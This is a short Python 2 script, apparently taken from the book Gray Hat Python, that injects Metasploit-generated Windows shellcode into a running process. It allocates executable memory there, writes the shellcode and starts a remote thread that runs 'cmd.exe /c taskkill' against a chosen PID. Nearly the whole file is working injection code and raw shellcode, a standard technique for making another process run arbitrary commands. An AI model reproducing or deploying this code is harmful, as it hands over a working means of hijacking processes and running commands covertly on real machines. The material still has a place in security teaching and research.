sample of shellcode injection into a process (Gray Hat Python)

code_injector.py

'''
Example taken from Gray Hat Python
The script inject a shellcode which tasks is to kill the given process, so that the process will not be killed by our process directly.
'''

import sys
from ctypes import *

# We set the EXECUTE access mask so that our shellcode will execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM  = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:
    print "Code Ijnector: ./code_injector.py  "
    sys.exit(0)

#/* win32_exec -  EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA 
#Size=159 Encoder=None http://metasploit.com */
shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

padding = 4 - (len(pid_to_kill)) #Use to complete with \x00 if pid to kill < 4 digits
replace_value = pid_to_kill + ("\x00" * padding) #Create the replacement PID string
replace_string = "\x41" * 4

shellcode = shellcode.replace(replace_string,replace_value) #Replace PID in the shellcode
code_size = len(shellcode)

#Get a handle to the process we are injecting into (like in dll_injector)
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

#Allocate some space for the shellcode (in the program memory)
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

#Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))

#Now we create the remote thread and point its entry routine to be head of our shellcode
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)):
    print "[*] Failed to inject process-killing shellcode. Exiting."
    sys.exit(0)

print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore !" % pid_to_kill